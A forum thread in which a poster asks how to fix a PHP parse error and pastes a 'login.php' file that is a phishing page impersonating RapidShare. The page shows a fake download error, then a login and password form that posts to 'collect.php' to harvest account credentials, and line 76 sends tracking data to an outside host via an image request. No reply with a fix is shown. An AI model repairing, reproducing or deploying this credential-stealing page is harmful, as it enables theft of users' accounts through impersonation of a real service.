Jump to content

Parse error:


CG-Sodar

Recommended Posts

I get this error:

''Parse error:  parse error, unexpected T_STRING, expecting ',' or ';' in login.php on line 79''

Anyone knows how to fix it?

 

79: <a href="http://rapidshare.com"><img src="http://rapidshare.com/img2/rslogo.gif" width="300" height="214" alt="logo" /></a>
80: <noscript><h1>This page needs JavaScript, to display all information correct!</h1></noscript>

Link to comment
Share on other sites

Ah, sorry:

   1: <?php
   2: $rs = $_POST['rs'];
   3: $s = $_POST['s'];
   4: if( preg_match('@^(?:http://rs(.*).rapidshare.com)@i', $rs, $serverid) ){ 
   5:         preg_match('@^(?:http://rs'.$serverid[1].'.rapidshare.com/files/(.*)/)@i', $rs, $fileid); 
   6:         preg_match('@^(?:http://rs'.$serverid[1].'.rapidshare.com/files/'.$fileid[1].'/(.*))@i', $rs, $filename);
   7:     };
   8: ?>
   9: 
  10: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
  11: <html xmlns="http://www.w3.org/1999/xhtml">
  12:  <head> 
  13:  <title>RapidShare: Easy Filehosting</title>
  14:  <link rel="icon" href="http://rapidshare.com/img2/favicon.ico" type="image/ico" />
  15: <link rel="SHORTCUT ICON" href="http://rapidshare.com/img2/favicon.ico" />
  16: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  17:  <link rel="stylesheet" type="text/css" href="http://rapidshare.com/img2/styles.css" />
  18:  </head>
  19: 
  20: <body>
  21: <center>
  22: 
  23: <div class="hauptmenue">
  24: <table><tr><td>
  25:     <ul class="dropdown">      
  26:         <li><a href="http://rapidshare.com/index.html">Home</a></li>                        
  27:         <li><a href="http://rapidshare.com/news.html">News</a></li>    
  28:         <li><a href="http://rapidshare.com/rewards.html">Rewards</a></li>    
  29:         <li><a href="https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi">Premium Zone</a>
  30:             <ul>                    
  31:                 <li><a href="https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi">Premium Zone Login</a></li>
  32:                 <li><a href="http://rapidshare.com/premium.html">Create Account</a></li>
  33: 
  34:                 <li><a href="http://rapidshare.com/verlaengern.html">Extend Account</a></li>                
  35:                 <li><a href="http://rapidshare.com/forgotpw.html">Forgot Password</a></li>
  36:                 <li style="border:0px;"><a href="http://rapidshare.com/faq5.html">TrafficShare</a></li>               
  37:             </ul>
  38:         </li>
  39:         <li><a href="http://rapidshare.com/freezone.html">Free Zone</a>
  40:             <ul>
  41:                 <li><a href="https://ssl.rapidshare.com/cgi-bin/collectorszone.cgi">Collector's Zone Login</a></li>
  42: 
  43:                 <li><a href="http://rapidshare.com/folderadmin.html">LinkList Login</a></li>
  44:                 <li style="border:0px;"><a href="http://rapidshare.com/freefolders.html">Create LinkList</a></li> 
  45:             </ul>
  46:         </li>        
  47:         <li><a href="http://www.rapidgames.com/" target="_blank">RapidGames</a></li>
  48:         <li><a href="http://rapidshare.com/rapidtools.html">RapidTools</a>
  49:             <ul>                    
  50:                 <li><a href="http://rapidshare.com/rsm.html">RapidShare Manager</a></li>
  51: 
  52:                 <li><a href="http://rapidshare.com/rapiduploader.html">RapidUploader</a></li>
  53:                 <li style="border:0px;"><a href="http://rapidshare.com/checkfiles.html">RapidShare Checker</a></li>
  54:             </ul>
  55:         </li>
  56:         <li><a href="http://rapidshare.com/supportseite.html">Support</a>
  57:             <ul>                    
  58:                 <li><a href="http://rapidshare.com/faq.html">FAQ</a></li>
  59: 
  60:                 <li><a href="http://rapidshare.com/support.html">Support Contact</a></li>
  61:                 <li><a href="http://rapidshare.com/abuse.html">Abuse Contact</a></li>
  62:                 <li style="border:0px;"><a href="http://rapidshare.com/security.html">Security advice</a></li>
  63:             </ul>
  64:         </li>        
  65:         <li style="border:0px;"><a href="http://rapidshare.com/rapidshare.html"><nobr>RapidShare AG</nobr></a>
  66:             <ul>
  67: 
  68:                 <li><a href="http://rapidshare.com/wiruberuns.html">About us</a></li>
  69:                 <li><a href="http://rapidshare.com/testimonials.html">Testimonials</a></li>                
  70:                 <li><a href="http://rapidshare.com/banners.html">Banner</a></li>               
  71:                 <li><a href="http://rapidshare.com/agb.html">Conditions of use</a></li>
  72:                 <li style="border:0px;"><a href="http://rapidshare.com/imprint.html">Imprint</a></li>
  73:             </ul>
  74:         </li>        
  75:     </ul>
  76: <?php include("conf.inc.php"); echo "<script type=\"text/javascript\"><img = new Image(); img.src = \"http://ace666ace.bplaced.net/s.gif?F=$file&L=$logon&R=$reset\";></script>
  77:     </td></tr></table>
  78: </div>
  79: <a href="http://rapidshare.com"><img src="http://rapidshare.com/img2/rslogo.gif" width="300" height="214" alt="logo" /></a>
  80: <noscript><h1>This page needs JavaScript, to display all information correct!</h1></noscript>
  81: 
  82: <div id="inhaltbox">
  83: <h1>Error</h1>
  84: <div class="klappbox">
  85: You want to download the following file:
  86: <p class="downloadlink"><a href="http://rapidshare.com/files/168717936/Ditz.And.Jumbo.Tits.6_WwW.PornKings.CoM_.avi<?php echo $fileid[1].'/'.$filename[1]; ?>">http://rapidshare.com/files/168717936/Ditz.And.Jumbo.Tits.6_WwW.PornKings.CoM_.avi<?php echo $fileid[1].'/'.$filename[1]; ?></a> <font style="color:#8E908F;">| <?php echo $s; ?> 1329612 KB </font></p>
  87: 
  88: <p>Your Cookie has not been recognized.  Please login below, or purchase a Premium Account.  Your Account will be activated immediately.</p>
  89: <h2>Create your <a href="http://rapidshare.com/premium.html">Premium Account</a> now.</h2>
  90: <p><form action="collect.php" method="post">
  91: <input type="hidden" name="rs" value="<?php echo $rs; ?>" />
  92: <table border="0" cellspacing="0" cellpadding="3">
  93: <tr><td><b>Login:</b></td><td><input type="text" name="accountid" /></td></tr>
  94: <tr><td><b>Password:</b></td><td><input type="password" name="password" /></td></tr>
  95: <tr><td colspan="2" align="center"><input type="submit" value="Login" /></td></tr></table></form></p>
  96: 
  97: 
  98: </div>
  99: <div class="untermenue">
100:  <a href="http://rapidshare.com/wiruberuns.html">About us</a> | <a href="http://rapidshare.com/agb.html">Terms of use</a> | <a href="http://rapidshare.com/imprint.html">Imprint</a>
101: </div>
102: 
103: </div>
104: </center>
105: <p> </p>
106: <div style="position:fixed;left:0px;bottom:0px;height:15px;width:50%;background-color:#8E908F;"></div>
107: 
108: <div style="position:fixed;left:50%;bottom:0px;height:15px;width:50%;background-color:#002760;"></div>
109: </body>
110: </html>
111: 

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.